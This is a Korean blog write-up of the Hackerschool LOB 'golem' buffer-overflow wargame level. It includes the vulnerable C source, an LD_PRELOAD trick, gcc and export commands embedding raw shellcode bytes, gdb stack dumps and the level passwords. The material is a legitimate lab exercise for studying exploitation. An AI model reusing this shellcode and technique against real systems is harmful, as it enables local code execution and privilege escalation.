id : skeleton
pw : shellcoder
1. 문제 파일 내용 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
[skeleton@localhost skeleton]$ ls // 파일 목록 확인
golem golem.c
[skeleton@localhost skeleton]$ cat golem.c // golem.c 내용 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
|
cs |
이 문제의 핵심은 코드 아래쪽의 stack destroyer이다.
입력값 조건 : 2글자 이상이고 47번째 값이 bf이어야 한다
입력받은 argv 값을 buffer에 복사하고 buffer를 출력하는 과정 까지는 앞서 푼 문제들과 동일하다.
그런데 가장 마지막에 buffer와 그 밖 메모리를 초기화 하는 함수 memset 때문에 기존 방식대로 해결할 수 없다.
위 코드의 메모리 구조를 예상하면 아래와 같다. (틀렸을 수 도 있음 )
프로그램이 실행되면 memset이 위 그림에서 파란 화살표가 표시하는 것 처럼 대부분의 영역을 초기화하기 때문에 buffer에 공격 코드를 넣거나 하는 방식은 무의미해진다.
이 문제 풀이는 LD_PRELOAD를 이용해야 한다.
LD_PRELOAD란 리눅스/유닉스 계열에서 사용하는 환경변수로,
프로세스 실행 시 이 환경변수에 지정된 공유 라이브러리가 먼저 로드된다.
만약 다른 라이브러리 함수와 LD_PRELOAD의 라이브러리의 함수의 이름이 중복될 경우 라이브러리 적재 순서 때문에 LD_PRELOAD의 함수가 실행된다.
이 포인트를 이용하여 문제를 푸는 것이다.
2. 환경 변수 등록
1
2
3
4
5
6
7
|
[skeleton@localhost skeleton]$ cp golem mygolem //메모리 구조 분석 위해 golem파일 mygolem으로 복사
[skeleton@localhost skeleton]$ ls
golem golem.c mygolem
[skeleton@localhost skeleton]$ touch shellcode.c // shellcode.c라는 빈 파일 생성
[skeleton@localhost skeleton]$ gcc -fPIC -shared shellcode.c -o $(python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*50')
|
cs |
fPIC : Position Independent Code (PIC) 위치 독립적인 코드로 컴파일 하여 사용하도록 하는 gcc 옵션
shared : 공유 라이브러리 생성하는 gcc 옵션
1
2
3
4
5
6
7
8
9
10
11
|
[skeleton@localhost skeleton]$ export LD_PRELOAD=$(python -c 'print "/home/skeleton/" + "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*50')
// 환경변수 등록
[skeleton@localhost skeleton]$ export // 환경변수 목록 확인
declare -x BASH_ENV="/home/skeleton/.bashrc"
declare -x HISTSIZE="1000"
declare -x HOME="/home/skeleton"
declare -x HOSTNAME="localhost.localdomain"
declare -x HOSTTYPE="i386"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US"
declare -x LD_PRELOAD="/home/skeleton/ ë^1ɱ2€lÿ€éuöëèêÿÿÿ2ÁQi00tii0cjoŠäQTŠâš±
|
cs |
쉘코드를 포함한 환경변수를 등록한다. export로 환경변수 목록을 보면 등록된 것을 볼 수 있다.
3. gdb로 메모리 주소 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
[skeleton@localhost skeleton]$ gdb -q mygolem // mygolem 메모리 분석
(gdb) b main // main 함수에 breakpoint 설정
Breakpoint 1 at 0x8048476
(gdb) r // mygolem프로그램 실행 - breakpoint때문에 프로그램이 종료되지 않음
Starting program: /home/skeleton/mygolem
Breakpoint 1, 0x8048476 in main ()
(gdb) x/10000x 0xbffff000 // 0xbffff000부터 스택 값 출력
0xbffff000: 0x000003d7 0x00000340 0x000005fe 0x000006f3
0xbffff010: 0x0000056e 0x000004de 0x00000306 0x000006a5
...
0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0xeb909090 0xc9315e11 0x6c8032b1
0xbffff5e0: 0x8001ff0e 0xf67501e9 0xeae805eb 0x32ffffff
0xbffff5f0: 0x306951c1 0x69697430 0x6f6a6330 0x5451e48a
0xbffff600: 0xb19ae28a 0x9081ce0c 0x90909090 0x90909090
0xbffff610: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff620: 0x90909090 0x90909090 0x90909090 0x90909090
|
cs |
gdb로 mygolem의 스택 값들을 살펴보면 nop 사이에 쉘코드가 포함되어있는 부분을 발견할 수 있다.
앞에서 등록한 환경변수가 이렇게 메모리에 위치하고 있는 것이다.
4. 페이로드 작성 후 익스플로잇, 비밀번호 획득
쉘코드가 시작하기 전 주소 중 여유있게 0xbffff590를 기준으로 잡고 페이로드를 작성했다.
프로그램이 실행되면 nop sled를 타고 쭉 내려오다가 0xbffff590로 이동하면 쉘코드로 인해 쉘이 열리고,
id 확인과 my-pass로 비밀번호를 획득할 수 있다.
pw : cpu of coffee
'해킹 공부 > 시스템 해킹' 카테고리의 다른 글
DreamHack_System hacking stage 4 (0) | 2022.07.11 |
---|---|
DreamHack_System hacking stage1 (0) | 2022.07.06 |
[해커스쿨 LOB] level 6_wolfman (0) | 2022.04.07 |
해커스쿨 LOB level 5 orc (0) | 2022.04.03 |
해커스쿨 LOB level 4 goblin (0) | 2022.03.27 |